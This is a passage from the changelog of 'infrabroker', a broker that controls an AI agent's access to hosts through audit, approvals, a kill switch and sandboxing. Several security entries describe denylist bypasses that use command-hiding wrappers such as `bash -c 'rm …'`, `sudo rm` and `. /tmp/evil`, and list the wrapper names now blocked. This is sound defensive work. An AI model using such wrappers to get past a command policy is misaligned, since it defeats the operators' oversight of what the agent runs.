set is unchanged.broker-ctl reloadprefers the HTTP reload and no longer reports a SIGHUP as success (#564). The CLI now tries the authenticatedPOST /v1/reloadfirst whenever a signer URL resolves — the signer answers it, so a rejected config (hosts: invalid regex, previous policy kept) is the command's error — and falls back to SIGHUP only when the HTTP path is unavailable (no URL, missing mTLS material, 401/403, connection failure), printing a hint to confirm the one-way signal viajournalctl -u infrabroker-signerorbroker-ctl audit show --outcome reload-failed. An HTTP 500 is the signer's verdict and is never masked by a blind SIGHUP.docs/OPERATIONS.mddocuments the asymmetry.
Added¶
- Sandboxed agent (ASP) —
docs/SANDBOX.md. How infrabroker composes with Agent Sandbox Platform: the agent's code in a microVM with deny-by-default egress, its infrastructure access through the broker, so the agent holds no credential anywhere. What each layer enforces, the role split (ASP's SSH agent bridge signs for git; hosts and clusters go through infrabroker), the vocabulary that collides, the Phase 0 setup that works today and the Phase 1 setup with the agent runtime inside the sandbox — the broker on the infrabroker host, never on the ASP node — plus the honest limits (the guest choosesaud, 5-minute tokens). OPERATIONS gains the matching recipe next to the Keycloak one (user_claim: "user_sub"); THREAT_MODEL points at it from Model → broker. - Attribution context claim —
context_claim(frontendoauthand signerend_user_oidc, opt-in, off by default). A string claim of the end user's token (e.g. an ASPsandbox_id) travels with the identity into the certificate KeyID (ctx=, sosshd's auth log has it), the signer's issuance record and the broker's action records (end_user_context), so an action can be correlated with the caller's execution context in another system's audit. Attribution only, never a decision input: a token without the claim (or with a non-string value) is accepted and carries no context. For callers withrequire_verified_end_userthe signer re-derives the context from the verified JWT and discards the broker's assertion — the same path asend_user— so a compromised broker cannot stamp an arbitrary sandbox into the audit of a verified request. Gated by the token-char check likeend_user; forwarded by the control plane and, likeend_user, dropped from an approval request when the broker CN is not a trusted forwarder. Covered byTestASPWorkloadToken(frontend) andTestRederiveEndUser(signer);lab/run_asp_oidc_lab.shruns them and prints the config to copy. Version skew:broker-ctl audit verifyre-marshals each entry to check its signature, so abroker-ctlolder than this release silently drops the unknownend_user_contextfield and reports a signature mismatch on entries that carry it. Verify such logs with abroker-ctlof this version or newer (logs without the field verify as before, with any version).
Internal¶
TestShellSessionExecStrictStderrRecordingFailureno longer races a child forked by a parallel exec-based test that briefly holds the FIFO's reader end (#843, follow-up to #783); it failed roughly onego test -racepackage run in three and turned the requiredbuildcheck red at random.- Dependencies (Dependabot, since v3.1.3):
golang.org/x/cryptov0.58.0,mvdan.cc/sh/v3v3.14.1,modelcontextprotocol/go-sdkv1.8.0,go-oidc/v3v3.21.0,go-jose/v4v4.1.7,slack-go/slackv0.33.0,modernc.org/sqlitev1.61.1, Azure SDKazcorev1.23.3 /azidentityv1.15.0; CI actions (docker/login-action,setup-buildx-action,setup-qemu-action,goreleaser-action,setup-python), the hashed docs toolchain (mkdocs-material9.8.1) and the demo's alpine base images. - Toolchain to go1.26.11 for GO-2026-6859 (
net/http: an HTTP/1 server can crash on aMaxBytesReaderheader race; every service bounds its request bodies withMaxBytesReader, so the signer, control plane and HTTP frontends were reachable). Unblocks the requiredgovulncheckcheck on every PR. - Toolchain to go1.26.10 for GO-2026-6809 (
crypto/x509distrusts compromised intermediate certificates; reached through every TLS client the services use, e.g. the webhook notifier). Unblocks the requiredgovulncheckcheck on every PR. - Toolchain to go1.26.9 and dependency
golang.org/x/netto v0.60.0 for GO-2026-6617, GO-2026-6612, GO-2026-6611, GO-2026-6610 and GO-2026-6603 (HTTP/2 transport and server hardening innet/http, in the standard library and in x/net; reached through every HTTP client the services use). Unblocks the requiredgovulncheckcheck on every PR.
Documentation¶
- API.md status tables and MCP tool section caught up with the code (#739,
#740, #742, #743) —
POST /v1/reloadlists everything a hot reload swaps (callers, trusted_forwarders, sign_rate_limit_per_min, end_user_oidc, envelope_key, command policies, clusters) and the restart-only list from deploy/README (OPERATIONS §3 matches); the control-plane500row names the real case (could not create approval request) and says a signer fail-closed 500 is relayed as 502, and the/v1/sign/result400row no longer names a query parameter that does not exist; the inlinePOST /v1/signoutcome list includesend_user_unverified,frozen_denied,errorandself_approved, andPOST /v1/freeze/unfreezedocument their500;ssh_session_opensaysforce-commandis set on asealed_exechost, the file-transfer tools state the #467shell_parseconsequence,ssh_executedocuments the dry-rundecision/reason_codeoutput andssh_session_execthe pty limits (4000 bytes, printable only). - Example configs and USAGE (#741, #744) —
signer.example.jsondocumentsself_approveand the AKV override keys (key_version,tenant_id,client_id,client_secret_env, all-or-nothing since #751); the example comments and THREAT_MODEL nameinfrabroker serve-mcp-httpinstead of the deprecatedmcp-broker-http; the monitor comment lists/readyz; the USAGE quick reference saysdry_runapplies to everyk8s_*tool, not onlyssh_execute. - dependabot.yml docker comment no longer pins the alpine version (#737).
- Kill-switch enforcement points stated per subject kind (#738) —
THREAT_MODEL gap 3, the OPERATIONS kill-switch section and the audit skill
said every frozen subject is denied at
POST /v1/signandGET /v1/hosts; the signer checks caller andend_useronly,/v1/hostscarries no end user, andsession_id/serialare broker-enforced. The three now match API.md's split: caller CN →/v1/signand/v1/hosts;end_user→/v1/signonly;session_id/serial→ broker kill on the next revocation poll. OPERATIONS gets a per-kind table. - ARCHITECTURE's wrapper-gate paragraph now names the compgen/complete class
(#650) — the command-hiding-wrappers paragraph listed the deferred-execution
builtins and issue refs #352/#371/#377/#461/#463 but not
compgen -C/-Fandcomplete -C/-Fadded by #551. They are now listed (bash-only callback class, refused onargv[0]alone) and #551 is added to the refs. - OPERATIONS metrics table lists recording_write_errors_total and statedb_errors_total (#653) — the section 7 metrics inventory had neither counter although the config reference and THREAT_MODEL tell operators to watch them. Both rows are added with an "alert on any increase" note: session-recording write failures (the non-strict signal) and best-effort state-db write failures (memory diverged from disk).
- API.md names the #572 identifier cap; USAGE documents the MCP input caps
(#654) — the
POST /v1/sign400 row did not list "identity/intent identifier longer than 1 KiB" (#572), and USAGE said nothing about the MCP tool-input caps. API.md now lists the cap; USAGE sections 9 and 10 state that name-like inputs are limited to 1 KiB and paths to 4 KiB, with free text keeping the 64 KiB limit. - Deploy skill preflight catches up with the #562 production checklist
(#655) — the deploy skill's preflight mentioned
doctoronly for the redaction WARN. It now begins withbroker-ctl doctor --securityon the three real configs (clear every FAIL, state a reason for every WARN) and adds the two #562 posture checks:audit_fail_modeleft atclosedin all three configs, and CA custody not a local PEM on the signer or a local-mode broker. - deps skill covers the golang build-stage FROM in contrib/glama (#649) —
the docker Dependabot ecosystem also tracks
golang:1.26-bookworm(tag only) incontrib/glama/Dockerfile, but the deps skill described docker as digest-only and told the agent to refuse any image or tag change. The skill now names that stage and accepts a tag bump only when it stays compatible with thego.modgo directive and the build passes (a digest addition is fine); the audit skill's Distribution section records the exception. - README feature overview lists the kill switch, sealed exec, approval bridge and default-on redaction (#651) — the Feature overview table omitted four shipped controls. Each now has a row with a one-line description and a link to the section that documents it (OPERATIONS kill-switch and bridge sections, deploy sealed-hosts section and THREAT_MODEL gap 1, THREAT_MODEL gap 8).
end_user_strippedis documented on GET /v1/approvals and shown to approvers (#668) — the field (set when the originating broker asserted anend_userthat was dropped because it is not a trusted forwarder, #451) was in the registry JSON and on the POST rows of API.md but missing from the GET /v1/approvals field list, andbroker-ctl approval listand the Teams facts rendered such a request like one with no end user. API.md now lists it,approval listprintsuser=(stripped), and the Teams card adds an explicit End user fact.- Prose names
infrabroker serve-mcp/serve-mcp-httpinstead of the deprecated wrappers (#656) — USAGE, ARCHITECTURE and OPERATIONS, and the engine.go doc comments that surface in the generated config reference, still namedcmd/mcp-brokerandcmd/mcp-broker-httpas the frontends (#569 fixed only the generated banners). They now name theinfrabroker serve-mcpandserve-mcp-httpsubcommands, as README does;docs/reference/config.mdis regenerated. - HANDOFF repository tree matches the code again (#657) — the tree in
docs/HANDOFF.md was missing
cmd/infrabroker,approval-bridge,infrabroker-shimand eightinternalpackages (bridge, brokermain, initcmd, k8s, monitor, redact, sealed, statedb), presented the deprecatedmcp-broker,mcp-broker-httpandbrokerbinaries as frontends, and omitted the ca agent backend. All are corrected. - Docs name the control plane's fail-closed audit behaviour (#652) —
THREAT_MODEL gap 9 listed only the signer and the broker, API.md had no
503row forPOST /v1/approvals/{id}, and the OPERATIONS metrics row attributedaudit_blocked_totalto two services. All three now say that an allow decision or a grant the control plane cannot record answers503 "audit log unavailable", that the decision is already in memory while the credential stays withheld, and that a deny is best-effort. - Deploy upgrade notes mention the control-plane
state_dbschema bump (#546) — the #451 change migratesstate.dbto schema v2;deploy/README.mdnow says to back it up before upgrading (a downgrade refuses to start on the migrated file) and that approvals pending at upgrade time read as not stripped. - USAGE intro no longer says the
k8s_*tools are registered per caller (#460) — it claimed they appear when a cluster is "visible to the caller";HasK8sClustersasks "is any cluster configured" with nil groups, once at broker start, for the whole process. The intro now matches §10, which (with OPERATIONS §2.1 and the ARCHITECTURE surface bullet) spells out the consequences: restart the broker after adding the first cluster (the hot reload refreshes the cluster cache but does not register the tools, nor remove them after the last cluster goes away), and on the HTTP frontend every caller is offered the tools whenever any cluster exists — one outside all cluster groups just gets an emptyk8s_list_clusters. - Compose demo README describes the control plane (#536) — the demo's
own README listed only the signer, sshd and broker although
compose.yamlhas run acontrol-planeservice since the approval demo landed anddocs/CONTAINERS.mdalready tables it (#478). The README now has a service table naming it as the approval gate + behaviour guardrails in front of the signer and the broker's signer endpoint (127.0.0.1:7443mTLS approvals API + UI,:9170monitor), explains that it holds no CA key and gatesrequire_approvalcommands with the four-eyes guard, and points atprompt-injection-demo.shas the scenario that exercises it; the demo-not-production framing is unchanged. - Monitor startup log names
/readyz(#535) —monitor.Serveannounced the listener as(/healthz, /metrics)althoughMux()has served/readyz(readiness, #213) alongside them since #440 documented it everywhere else; the log line now reads(/healthz, /readyz, /metrics). broker-ctltop-level usage andcli.mdshowpolicy recommend's verification requirement (#537) — #454 madepolicy recommendrequire--key <audit seed>or an explicit--unverified, and the subcommand's own usage says so, but the binary's top-level usage block (the source ofdocs/reference/cli.mdvia docgen) still readpolicy recommend --audit <f> [filters], sobroker-ctl helpand the reference page only revealed the requirement when the command errored. The line now readspolicy recommend --audit <log> (--key <seed>|--unverified) [--host h] [--since t] [--min-count n] [--json]andcli.mdis regenerated.- In-chat approvals are audited
approval_granted/approval_declined, notself_approved(#473) — USAGE §2 and OPERATIONS §4 (In-conversation approval opt-in) said each in-chat approval "is auditedself_approved", but the broker recordsapproval_granted/approval_declinedwithapproved_via=elicitation(AuditApprovalGranted/AuditApprovalDeclined, documented in API.md), andself_approvedis a supplementary marker the signer's HTTP sign handler writes to the signer log in remote mode only — a local-mode (ca_key) broker honours the approval with noself_approvedrecord anywhere, sobroker-ctl audit show --outcome self_approvedon the broker log found nothing. Both passages now name the broker outcomes and qualifyself_approvedas the remote-mode signer-log marker. - Deploy checklist and deploy skill stop asking for a
redactblock (#477) — since #400 an absentredactblock already selects the built-in rules (broker-ctl doctorpasses it as "redact enabled"); the only WARN isdisable_defaultswith nopatterns. The deploy/README production checklist and.agents/skills/deploy/SKILL.mdnow state the default-on semantics and the zero-rule WARN condition, and suggestpatternsfor site-specific secret shapes, instead of telling operators to add a block that changes nothing. - CONTAINERS.md compose-demo table lists the control plane (#478) — the
services table named
pki-init,signer,sshdandbrokerbut not thecontrol-planeservice thatcompose.yamldefines (127.0.0.1:7443mTLS approval API + UI,:9170monitor) and that the same page's approval / live-fire walkthrough relies on ("the broker points at the bundled control plane"). The row is added, and the "see the Quickstart" link now points atQUICKSTART.mdinstead of the landing page. - File transfer × command_policy stated correctly (#467) — THREAT_MODEL
§12 said the
head -ctransfer form "must match an allow pattern; a denylist alone does not constrain the read", thessh_put_filedescription told the model the transfer command "must also be allowed by the policy", and USAGE §9.3 implied an allowlist pattern could admit transfers. In factresolveCommandPolicydoes not special-case transfers and thecat > 'path'/head -c N < 'path'forms carry a file redirect thatshell_parse(the default) rejects, so on a host with any restricting policy (allowlist, denylist orrequire_approval-only) every transfer is denied in enforce mode and no allow pattern changes that; only hosts whose policies all setshell_parse: falsecan allowlist the transfer forms. All three places (plusssh_get_file, which said nothing) now say so (docs/reference/mcp-tools.mdregenerated) andTestResolveFileTransferCommandPolicylocks the behaviour in. Related: API.md's kill-switch "enforcement points" sentence said a frozen subject is rejected atGET /v1/hosts, buthandleHostschecks only the caller (peer /on_behalf_ofCN) — anend_userfreeze bites at/v1/signonly. - Restart-required list matches what
reload()re-reads (#481) — deploy/README, OPERATIONS §3 and the deploy skill said onlylisten, TLS material andaudit_logneed a restart, butcmd/signerreload()swaps only the policy state (hosts, callers, command policies, CA keys, clusters,max_ttl_seconds,envelope_key),reload_callers,trusted_forwarders,sign_rate_limit_per_minandend_user_oidc;redact,state_db,monitor_listen,auto_reload_seconds,audit_key/audit_fail_modeandmax_grant_ttl_secondsare read once at startup, so editing them without a restart silently kept the old value. All three places now list them. - ssh-agent/HSM named as production CA custody everywhere AKV was (#479) —
examples/compose/README.md, theexamples/compose/compose.yamlheader comment and the README feature-matrix cell "HSM/KMS for CA key" still presented Azure Key Vault as the only hardware/production custody, omitting theagentbackend (#122) that deploy/README and CONTAINERS.md already list (same class as #160/#316/#325/#373). All three now say "Azure Key Vault or ssh-agent/HSM". - CONTRIBUTING.md describes the flow the repo actually follows (#480) —
the Branches / Versioning / Procedure sections still prescribed a tag per
commit on
main, a minor bump per merge, direct-to-maindocs commits, aCo-Authored-Bytrailer and a## [vX.Y.Z]CHANGELOG heading before every commit — a new contributor would have tagged per commit and written per-commit version headings. They now state the real rules: every change is a PR against protectedmain(requiredbuild/govulncheck/check), Conventional Commits with no assistant-attribution trailer, work accumulates under## [Unreleased], and releases are semver-by-content via arelease/vX.Y.Z-changelogPR plus an annotated tag per.agents/skills/release/SKILL.md. infrabrokerusage lists theinitflags--import-ssh-configand--register-mcp(#444) — the in-binary help showed onlyinit [--dir .] [--force]whileinternal/initcmdalso accepts--import-ssh-configand--register-mcp(both documented in README and OPERATIONS); the usage line now names them.- Config reference gains the
callers.<cn>table (#445) —docs/reference/config.mdhad sections forhosts.<name>,command_policy,ca_keys.<name>,kubernetes.clusters.<name>… butcallers.<cn>appeared only as thesigner.CallerTablerow, soallowed_groups,self_approveandrequire_verified_end_user(the four-eyes waiver and the signer-side OIDC re-validation switch,internal/signer/signer.goCallerPolicy) had no reference entry and surfaced only inside other fields' comments. docgen now renders Caller policy (callers.<cn>) from the struct (with a doc comment onallowed_groups), andgenCLIstrips theexit status 1trailergo runappended to the captured usage text indocs/reference/cli.md. - control-plane unit header no longer says approvals are lost on restart
(#434) —
deploy/systemd/infrabroker-control-plane.service, installed verbatim on the operator's host, still said "Approval/behaviour state is in-memory: a restart clears pending approvals", contradictingstate_db(control-plane.json, deploy/README §state) which persists pending and approved-but-uncollected approvals across restarts. The comment now says approvals survive a restart whenstate_dbis set (recommended/var/lib/infrabroker/control-plane/state.db) and that only the behaviour baseline is in-memory by design. - Audit-outcome inventories complete again (#476) — the API.md
Outcome valuestable lacked the signer'send_user_unverified,frozen_denied,self_approved,frozen/unfrozen,policy-read/policy-read-denied, the broker'ssession_killed,file_put/file_getand the control plane'sdenied,errorandapproval-learn-refused— exactly the outcomes an operator greps for during a kill-switch or identity incident (regression of the #12/#47 class). EveryOutcome:literal incmd/andinternal/now has a row with service and meaning, and the USAGE §7.2 broker/signer outcome lists are complete (with a kill-switch example) and point at the API.md table for the control-plane set. /readyzdocumented; endpoints.md lists the monitoring listener (#440) — the readiness probe shipped in #213 was mentioned only in this changelog: docgen scanned justcmd/signer,cmd/control-planeandinternal/brokermain, sodocs/reference/endpoints.md("every route registered across the services") had none of/healthz,/readyz,/metrics, and the API.md / OPERATIONS.md monitoring tables and the threemonitor_listenfield comments (→docs/reference/config.md) listed only/healthzand/metrics. docgen now also scansinternal/monitor("Monitoring listener (every service)"), both tables gain the/readyzrow (200 readyonce the main listener binds,503 not readybefore that and during drain) and the field comments name all three routes.- deploy/README Contents table lists
vector.example.toml(#435) — the table named six files butmake distships the wholedeploy/directory, so operators unpacking the tarball found an undocumenteddeploy/vector.example.toml(the reference Vector config docs/OPERATIONS.md § Exporting the audit log to WORM / SIEM points at). The table now has its row. - deploy/README pre-rename migration rewrites the signer's state-dir config
(#430) — the ssh-broker → infrabroker runbook only rewrote
/etc/infrabroker/*.json, but the signer config has lived at/var/lib/infrabroker/signer/signer.jsonsince before the rename, so it kept its/etc/ssh-broker/pki/...and/var/lib/ssh-broker/...paths, the signer failed fail-closed at startup and the documentedgrep(which never looked under/var/lib) reported no hits. Thesedand the verificationgrepnow cover/var/lib/infrabroker/signer/signer.json, with a note that the signer config lives in the state dir. - THREAT_MODEL Summary matches the shipped sealed exec (#474) — the Summary
row Compromised agent, sessions still said the host-enforced guarantee
"remains one-shot only" and the closing paragraph called sealed exec a
"designed" control, pre-v3.0.0 wording that under-claimed a shipped control
the same file's gap #1 documents as an opt-in mitigation (sibling of #336,
which fixed SECURITY.md only). The row now reads Partial / host-enforced
opt-in — broker-preflighted
ssh_session_execby default,sealed_exec+infrabroker-shimhost-enforced on the hosts that opt in — and the closing paragraph says gap #1 is closed for sealed hosts and gap #3 (KRL) remains the open item. - README Security paragraph no longer lists "secrets logged verbatim" as a
non-goal (#475) — audit redaction has been on by default since v3.1.3
(#400; THREAT_MODEL gap #8, SECURITY § Redaction is best-effort,
broker-ctl doctorreportsredact enabledwith noredactblock), so the README under-claimed a shipped control (same class as #219). Default-on secret redaction now sits with the layered controls, the non-goal is the honest one — best-effort regex matching, not a guarantee — and the sessions clause is qualified with "unless the host opts intosealed_exec". - ASP's workload token carries
groups; the sandbox recipe setsgroups_claim. ASP's ADR-0020 adds agroupsclaim to the workload token: the owner's IdP groups as captured when the sandbox was created (verbatim, a snapshot, never an empty list; absent on an ownerless sandbox, and the guest cannot set it). OPERATIONS § Per-agent identity: an ASP sandbox workload token and SANDBOX.md (token, config, Honest limits, checklist) replace "nogroups_claim, per-user RBAC off" with"groups_claim": "groups", so the signer's per-user RBAC applies per sandbox; an ownerless sandbox (API key, open lab) has no claim and is rejected with 401, the intended fail-closed outcome; revoking an owner's IdP membership means destroying their sandboxes; a control plane older than ADR-0020 mints no claim, so withgroups_claimset every token from it is rejected.TestASPWorkloadTokenandlab/run_asp_oidc_lab.shmint the toy token withgroupsand run the frontend withgroups_claim, including the rejection of a token without it. - deps skill covers the docker Dependabot ecosystem (#553) —
.agents/skills/deps/SKILL.mdsaid Dependabot ran two ecosystems and its diff-scope rule would have refused every base-image digest bump the docker ecosystem (#436) opens, leaving the pin stale. It now names the three ecosystems, allows a docker PR to touch only the@sha256digest of theFROMlines inDockerfileandcontrib/glama/Dockerfile(same image and tag), and makes the review step confirming the digest is the current multi-arch index ofgcr.io/distroless/static-debian12:nonroot. - audit skill treats the base-image digest pin as an invariant (#554) — the
Distribution & containers section still called digest-pinning the distroless
base "a reasonable hardening finding, not a blocker", although #436 shipped
the pin and a docker Dependabot ecosystem to keep it current. The skill now
states the invariant: the
FROMstays digest-pinned (multi-arch index) in bothDockerfileandcontrib/glama/Dockerfile, and the docker Dependabot entry keeps covering both directories; a tag-onlyFROM, mismatched digests or a dropped entry is a regression..claude/skills/audit/SKILL.mdis the same file via the.claude/skillssymlink. - USAGE §7.2 signer outcome inventory lists
error(#555) — thebroker-ctl audit show --outcomecheat sheet omitted the signer'serroroutcome, emitted when the policy allowed the intent but the CA backend (#465) or the k8s token mint (#455) failed; API.md's outcome table already documented it. The list now includes it. - API.md documents the control-plane relay of a signer 5xx (#556) — the
control-plane
POST /v1/sign502row and the control-planeerroraudit outcome only covered "no certificate in the signer response" and "signing after an approval failed". Since #455 the direct forward path relays any signer5xx(CA-backend failure #465, k8s token-mint failure #455, outage) as502with the signer's generic message and auditserror, notdenied, so the broker classifies it as it would talking to the signer directly; both the status row and the outcome meaning now say so. - API.md
POST /v1/approvals/{id}table matches the #451 learn refusal (#557) — the endpoint's400row only namedlearnwithoutttl_seconds > 0, and its inline audit-outcome list lackedapproval-learn-refusedandself-approval-rejected, contradicting the prose above it and the outcome table below. The400row now coverslearnon a request whoseend_userwas stripped (auditedapproval-learn-refused, request stays pending, plain approve still works) and the inline list names both outcomes. - ARCHITECTURE states the wrapper gate's real reach for
hashandmapfile/readarray(#558) — the command-hiding-wrapper paragraph namedhash -pandmapfile -C, but the gate matchesargv[0]alone, so plainhash,hash -r,mapfile arrandreadarrayare rejected as well. The text now sayshash,mapfile/readarrayin any form and explains why, so an operator does not expect the option-less forms to pass. - Pre-rename runbook globs run under root (#587) — the "Upgrading from
ssh-broker" steps in
deploy/README.mdusedsudo sed -i ... *.jsonandsudo chown ... pki/signer/*, but the glob was expanded by the operator's unprivileged shell, which cannot list the 0750 root/service-owned directories: the literal pattern went through, onlysigner.jsonwas rewritten and the verificationgrep -r(no sudo) printed a false "no hits" on Permission denied. The globs now run viasudo sh -c, the grep undersudo, and the runbook says to expect no output and no permission errors. user_claim: azpadvice scoped to agent-only frontends (#585) — OPERATIONS "Per-agent identity" recommendedazpwithout saying the verifier applies the one claim to every token: on a frontend shared with authorization-code (human) logins,azpis the application's client id, so every human using that client would share one audit identity, certuser=and freeze subject. The section now saysazpis right only on a frontend dedicated to client_credentials agents; mixed populations need a separate frontend/oauthblock per population or a claim that is per-identity on both flows (e.g. Keycloakpreferred_username).- Example configs:
redactabsent = built-in defaults, full signer restart list (#588) —signer.example.json,config.example.jsonandcontrol-plane.example.json(the files the installer seeds) still said theredactblock "Absent = disabled", contradicting the #400 default-on behaviour that README, deploy docs anddocs/reference/config.mdalready describe. The comments now say absent = the built-in default patterns and show the explicit opt-out ({"disable_defaults": true, "patterns": []}); the signer example's "requires a restart" sentence carries the full #481 list (audit_key,audit_fail_mode,redact,state_db,monitor_listen,max_grant_ttl_seconds,auto_reload_seconds). - Example configs cover the five undocumented knobs (#589) —
config.example.jsongainedhosts_refresh_seconds(300),revocation_poll_seconds(10 — the kill-switch latency for a live session),approval_via_elicitation(false; waives four-eyes, needs the caller'sself_approve) andsession_recording_strict(false), andcontrol-plane.example.jsongainedaudit_fail_mode("closed"), each with the struct documentation as a comment. They were indocs/reference/config.mdbut not in the files the installer seeds, and the ExampleConfig tests only catch unknown keys; as real keys they are now drift-checked too. - Audit-log shipper: how to run it under the unit permissions (#590) —
deploy/vector.example.tomland OPERATIONS "Exporting the audit log" told operators to tail the file with a sidecar, but the units create the log0600/service-owned inside a0750state dir withUMask=0077, so a shipper under its own uid (Debian/RPM Vector runs asvector) getsEACCESon every glob andvector validatedoes not notice. Both now say: run the shipper as the service user (a[Service] User=infrabroker-<svc>drop-in, one instance per service) or as root with the directory bind-mounted read-only — and never widen the log mode. broker-ctlusage anddocs/reference/cli.mdlistaudit verify --all,freeze/session kill --volatile,policy grant --caller/--end-userand every remote command (#568). The top-level usage omitted the cross-segment--allintegrity check, the memory-only-freeze--volatileopt-in and the grant scoping flags, and its client-parameters note (mirrored in OPERATIONS §4) named onlyreload,policy,approvalandhost list --remotealthoughcluster list,freeze,unfreeze,revocationsandsession killresolve the signer target through the same client-config precedence.- Reference pages name the
serve-mcpfrontends, describe everyend_user_oidckey and coverbroker-ctl.json(#569).mcp-tools.mdand the OAuth section ofconfig.mdstill named the deprecatedcmd/mcp-broker/cmd/mcp-broker-httpwrappers instead ofinfrabroker serve-mcp/serve-mcp-http; the eightend_user_oidckeys had empty descriptions (now mirroring the brokeroauthblock, incl. the0 = no limit/0 = 1-minute defaultsemantics of the two second counts); and the shippedbroker-ctl.jsonclient parameters file had no section (itssigner/control_planetargets andurl/cert/key/cafields are now documented from the structs).
[v3.1.3] - 2026-09-08¶
Security and correctness audit: signed-audit input gates, session cert-expiry gate, AKV key pinning, mTLS clientAuth EKU, redaction default-on, plus release-pipeline hardening and docs.
Security¶
- Audit redaction is now ON by default (#400) — with no
redactblock, the built-in default patterns apply on the broker, signer and control plane persistent/outbound sinks. A compromised broker could previously plant broker-chosen fragments in the signed log'sErr/Warningfields, which were stored verbatim unless the operator opted in. To run with no rules at all:"redact": {"disable_defaults": true, "patterns": []}(thebroker-ctl doctorzero-rule warning still flags that choice). - Unvalidated host kept out of the signed audit log (#394) —
req.Hostjoined the/v1/signcharset gate andsafeAuditHostguards every pre-policy denial / PathValue fallback intoEntry.Host: a compromised broker could previously stuff a 64 KiB client-chosen string into the tamper-evident log's Host field. - Sessions refuse to run past certificate expiry (#395) —
checkoutOwnednow rejects an expired-cert session instead of waiting for the reaper's 30s tick on an authenticated connection (#225's busy force-close is unchanged). - mTLS caller identity requires the clientAuth EKU (#399) — a cert of the same client CA with a colliding CN but a non-client key usage (serverAuth, code signing) was enough to satisfy CN-based RBAC. Leaves without any EKU extension (plain lab certs) keep working.
- AKV signer refuses to start unpinned (#398) — if
key_versionis unset and the returned KID carries no version segment, construction now fails instead of silently resolving "latest" per call (post-rotation desync → sshd rejects every cert). - ssh_put_file bounds content before base64 decoding (#396) — the stdio
frontend previously materialized an arbitrary-size request body before the
engine's
file_transfer_max_bytesgate.
Fixed¶
- Slack approval-bridge drops decisions after shutdown (#402) — a click arriving after the bridge exited could wedge the socket-mode goroutine forever on a full decisions buffer.
- Session recording counts only persisted bytes (#403) — failed/partial writes no longer inflate the written counter and trip the size cap early.
Internal¶
- Bump toolchain to go1.26.6 — fixes GO-2026-6218 (net/url), GO-2026-6091 (html/template) and GO-2026-6090, all reachable from the binary.
- Bump
golang.org/x/cryptoto v0.56.0 — fixes GO-2026-6353 and GO-2026-6354 (DoS via deadlocked undecided SSH channel), both reachable frominternal/ssh/run.go. Pullsx/net(indirect) to v0.57.0 andx/textto v0.41.0. - All workflow actions pinned to commit SHAs (#397) — the release
workflow ran mutable-tag actions with
contents: write/packages: write/id-token: write.
Documentation¶
- freeze kinds scoped (#404) — only caller/end_user freezes gate new issuances on the signer; session_id/serial freezes are broker-side session kills (next revocation poll), documented in the code header and OPERATIONS.
- THREAT_MODEL residuals for dry-run and file transfers (#405) — dry-run
reason_code/MatchedRuleis a policy oracle for any broker caller, andallow_file_transfer=trueis an arbitrary read of whatever the host's SSH user can open; both documented as accepted residuals with operator guidance.
[v3.1.2] - 2026-08-13¶
Security and correctness audit: remaining command-hiding wrappers, reload
vs policy-mutation race, installer mode/--bindir healing, k8s dry-run
classification, and docs drift.
Security¶
- Command-policy shell_parse rejects sudo/su/source wrappers (#371) — the
#352 wrapper set missed the privilege wrappers this product uses for
elevation (
sudo,su,doas,pkexec,runuser,sg), the eval-class source builtins (.,source), and a few remaining wrappers/interpreters (script,watch,awk/gawk/nawk/mawk). Withshell_parseon, an anchored denylist orrequire_approval(^rm) was dodged bysudo rm …or. /tmp/evil. Those names are now rejected at parse time (fail-closed), the same waybash -c/env/evalalready are. Prefer thesudointent flag over puttingsudoin the command; denylist remains best-effort against unknown path/alias tricks. - Command-policy wrapper gate matches versioned interpreters (#377) —
the exact-basename map still allowed
python3.12 -c,ash -c, and/usr/bin/time rmpast an anchored^rmdeny. Interpreter families now match a trailing version suffix (python3.12,ruby3.2,node18);ashandtimejoin the wrapper set. Hyphenated helpers (python3-config) stay unmatched. - reload() holds writeMu for the whole read+build+swap (#378) — a
SIGHUP or auto-reload that started on an older
signer.jsoncould finish after a concurrent policy DELETE and swap memory back to the wide snapshot. Disk stayed narrow; the live signer did not. Reload now takes the same lock asmutateAllow. - install.sh heals
*.envandbroker-ctl.jsonmodes on re-run (#381) — service JSON was already converged to0640, but an existingsigner.env/control-plane.env/mcp-http.env(AZURE_*, OIDC, webhook tokens) andbroker-ctl.jsonwere left as-is. A0644env file is readable by everyinfrabroker-*user via the shared group. Re-run now sets env files to0600 root:rootandbroker-ctl.jsonto0640 root:infrabroker. Empty env files are still not created.
Fixed¶
- k8s dry-run projects MatchedRule and stops leaking the regex in Reason (#379) —
a Kubernetes dry-run denial discarded the policy result, so
reason_codewas always the fallbackdeniedandReasonembeddedcommand_policy (deny:<regex>). Dry-run now carriesMatchedRulelike SSH and uses a generic Reason for policy denials. - install.sh
--bindirrewrites unit ExecStart (#382) — binaries went to$BINDIRbut the shipped systemd units still exec/usr/local/bin/…. A non-default--bindirnow rewritesExecStartto match.
Documentation¶
- THREAT_MODEL gap #1 names the cert-TTL session cap (#372) — the
"Mitigation today" paragraph still said the certificate TTL does not
bound an open session (pre-#124 wording). It now matches USAGE: the
broker reaper closes a session at cert expiry, idle timeout, or
session_max_seconds, whichever comes first. - README Multi-CA names the ssh-agent backend (#373) — the feature table still said "local PEM or Azure Key Vault" and linked a stale ARCHITECTURE anchor. It now lists PEM / AKV / ssh-agent/HSM and points at the current Multi-CA heading.
- API.md runtime grants persist when
state_dbis set (#380) — the grant section and the signer mux comment still said grants are memory-only and die on restart. They persist withstate_dband expire on TTL or revoke.
[v3.1.1] - 2026-08-12¶
Security and correctness audit fixes: shell-wrapper command-policy bypass, kill-switch durability, k8s response caps, bridge pending-only posts, and static installer builds — plus skill/demo doc accuracy.
Security¶
- Command-policy shell_parse rejects command-hiding wrappers (#352) — with
shell_parseon (the default), denylist andrequire_approvalrules that anchor on the real binary (e.g.^rm) could be dodged by wrapping it:bash -c 'rm …',env rm …,timeout 1 rm …,python3 -c '…', and the same class of pure wrappers/interpreters.extractCommandsonly saw the outer CallExpr, so the policy under-matched the same way inline env assignments and quoting once did (#175, #277, #308). Those wrappers are now rejected at parse time (fail-closed). Prefer allowlist for production; denylist remains best-effort against unknown path/alias tricks. - Freeze Add enforces kill switch even if durability checkpoint fails (#353) —
after a successful freeze INSERT, a failed
wal_checkpoint(FULL)used to return an error without updating the in-memory set, so/v1/signkept admitting the subject while the operator saw a freeze failure. Memory is now updated before the checkpoint; a durability failure still freezes the process (and still revokes grants) and surfacesErrFreezeNotDurable. - Freeze grant revocation is all-or-nothing (#354) —
